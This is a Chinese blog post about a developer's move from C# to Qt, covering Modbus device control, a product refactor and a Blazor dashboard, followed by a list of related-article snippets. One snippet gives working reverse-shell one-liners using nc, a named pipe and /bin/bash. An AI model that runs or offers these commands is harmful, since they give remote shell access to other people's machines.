上位机工作感想-从C#到Qt的转变-1

0.前言

接触Qt开发也有一年多的时间了,还记得去年初从杭州回合肥时,刚来公司面临的几个问题:

  • 1.C#转上位机的迷茫
  • 2.新公司管理模式的差异
  • 3.试用期的各种紧急任务。

当时也是加班加点学习C++和Qt的基础知识,做了两个考核项目后,顺利渡过了试用期。
关于转语言,公司大概率是不会给一个社招人员过渡期的,我们所要做的就是放平心态,努力做好公司交待的项目就行了。基础扎实非常重要,一般来说熟练掌握一门语言后,学习其它语言时类比一下,再在项目中锻炼一下,熟悉起来还是很快的。后面的精通不仅需要学习相关编程书籍,还需要在项目中不断实践相关语言特性,写了一定数量并且解决了这些bug后,才会对语言有个深刻的认识。

1.项目积累

来这边大大小小也是做了7、8款软件了,其中拿3个比较有意义的来记录一下

1.1 样品前处理设备软件

这是在试用期开发的一款软件,原定用C#开发,最后在老员工的强力反对下改成了Qt。这让我想起了钱学森先生的一句话:”手里没剑和有剑不用是两码事“,你不会Qt人家就偏要让你用Qt开发。这款软件的主要功能就是使用modbus协议对下游IO设备进行一定时序的开闭控制,从而对皮带上移动的粉末物料作压块处理,提高设备的检测精度。
原本的测量软件架构就已经很乱了,再往里面塞新的业务代码不就是在屎山上再拉一泡屎,想想就恶心。后来也验证了我的想法,大部分时间都在在调试老软件。所以我前处理软件也是和老软件独立开发,二者通过modbus进行交互。控制软件分为通讯层、设备层、业务层三层,上层调用下层,达到代码的最大重用。同时业务层使用Command(指令模式),将不同业务封装进不同的指令,所有指令都继承BaseCommand,实现里面的Execute()方法,跑业务流程时把这些子Command串在一起for循环一下就行了。这样可以很大程度上解耦业务代码,调试修改也是简单。
现场运行时遇到了两个问题:tcp通讯在一段时间内无数据交互就会断线,调用保活方法也是不行,最后通过定时器定时获取设备状态在业务层进行保活。另外就是公司选购的串口服务器稳定性太差,经常会出现设备重置的状态,必须在软件层面加上断线重连机制,好在libmodbus就自带该功能。
总体来说第一次使用Qt编写项目还算顺利,对C++的基本语法也更加熟悉。设计模式、重构、配套测试、通讯等上位机编程的基础技能扎实也能比较快的适应新语言。
关于Modbus通讯库: 在Qt平台上用的比较多的一个是libmodbus、一个是Qt自带的Modbus通讯库。libmodbus接口都是同步读取,QModbus提供的多为异步接口。libmodbus还带有断线重连和通讯错误恢复功能,比较适合交互性较强的通讯场合,官方文档也是很详细,认真阅读一遍还是有很多收获的。经过了多次测试,还是决定使用libmodbus作为modbus通讯库。

1.2 公司产品软件重构

公司现有产品有多种型号,每种型号的大致功能都是类似,无非就是移动导轨、激光器打激光、光谱仪采数据、算法模型计算结果,但是每种型号都要维护一套特有的代码,这就导致设备功能迭代困难。领导就叫我对所有设备进行统一,通过配置文件实现不同设备的作业流程。
这是一件光荣而艰巨(吃力不讨好)的任务,本着对技术的追求和公司产品的负责,我最终还是接下了该任务(基本上也就我一个人在干)。我也是延续了之前的分层架构,将整个软件分为通讯、设备、指令、控制、算法几个模块。每个模块通过单例模式进行管理,通过json配置文件创建模块中的实体并且配置该实体,通过Manager单例向外提供获取不同实体指针的方法,类似于C#中的依赖注入。这五六个月的期间,我对原有业务进行分析、抽象、编码等工作,终于在上个月完成的所有编码工作。不是我效率低,是这个项目压根就没立项,仅仅算一个附加工作,还身负很多其它的开发项目。后面也是自己主导软件的功能测试(其实就我一个人在测试)。测试过程中发现软件有内存泄漏问题,这个也是困扰了我很久,半个月的测试运行,排查到了几个内存泄漏的点:

  • 模型计算部分传入的数组指针没有释放
  • 基于Qt的modbus通讯部分reply指针没有释放

依次解决了这两个bug后,软件的内存占用就非常稳定了,我也是成就感满满,也许这就是C++这类语言的魅力吧。
这个产品软件重构也让我认识到职场的复杂性,领导怎么做比怎么说更重要,行动上的支持、物质上的鼓励才是最实在的。这个项目也是兴趣和责任推动着我做下去,a loney solider!

1.3 基于Blazor开发的数据看板

这个项目源于客户想远程查看我们在线设备的实时数据。给他装个客户端吧?显得有点麻烦,做一整套的前后端?我也不太会。
刚好看到微软新出的blazor框架,说是可以用C#写前端代码(后来发现前端那些东西还是要了解),感觉甚是好玩。就学着使用blazor写了一套后台监控数据库文件,前台实时推送数据的web程序。自己也是学了html、css、bootstrap等前端相关的基础知识,开发出来的效果还怪不错的。通过这个也是学习了前后端、iis部署、jwt权限认证等知识,另外用自己的老搭档C#写代码也是非常开心的一件事。
数据看板实图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826811.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决Mac使用Vscode无法调用外部终端

前言 今天遇到一个很奇怪的问题,之前好好的用Vscode还能调用外部终端,怎么今天不行了?问题出在哪里呢?请听我娓娓道来。 检查配置文件 我查看了一下配置文件,发现配置文件都是调用外部控制台,没毛病啊。 …

【AI开发:音频】二、GPT-SoVITS使用方法和过程中出现的问题(GPU版)

1.FileNotFoundError: [Errno 2] No such file or directory: logs/guanshenxxx/2-name2text-0.txt 这个问题中包含了两个: 第一个:No module named pyopenjtalk 我的电脑出现的就是这个 解决:pip install pyopenjtalk 第二个&#xff1a…

快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums ,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。 我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。 必须在不使用库内置的 sor…

从零开始的vscode配置及安装rust教程

配置vscode的rust环境 下载安装vscodemac 环境1. 下载安装rust2. 配置 mac vscode环境3. 创建一个测试项目 windows 环境1. 安装c运行环境2. 安装配置rustup3. 配置windows vscode环境4. 创建一个测试项目 下载安装vscode 1.官网应用程序下载 vscode:https://code.v…

注意力机制中多层的作用

1.多层的作用 在注意力机制中,多层的作用通常指的是将注意力机制堆叠在多个层上,这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下: 1. **逐层抽象**:每一层都可以捕捉到输入数据的不同…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境,原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少,又因安装的环境太多,重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中,免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中,免费货物的标准解决方案概览,可先了解本博客博文:SAP销售与分销中的免费货物解决方案相关文章: htt…

Python 全栈安全(一)

原文:annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者:飞龙 协议:CC BY-NC-SA 4.0 前言 序言 多年前,我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一,虽然简单,但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例,并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式(此小节为搬运内容) 原链接:Design_Compiler User Guide 随手笔记(9)Using Floorplan Information - 知乎 DC拥有四种工作模式: 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白:怎么为你的网页增加评论功能?(一)_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道,我们数据库需要准备的字段: id,commentuserName,coomen…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一,与HTML和CSS一同工作,用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性,可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…

Mac电池管理软件 Batteries for Mac v2.2.9直装版

Batteries for Mac&#xff0c;作为一款专为Mac用户设计的电池管理软件&#xff0c;以其强大的功能和智能的监测机制&#xff0c;为用户提供了便捷、高效的电池使用体验。 Batteries for Mac(Mac电池)v2.2.9直装版下载 首先&#xff0c;Batteries for Mac具备实时电池监测功能&…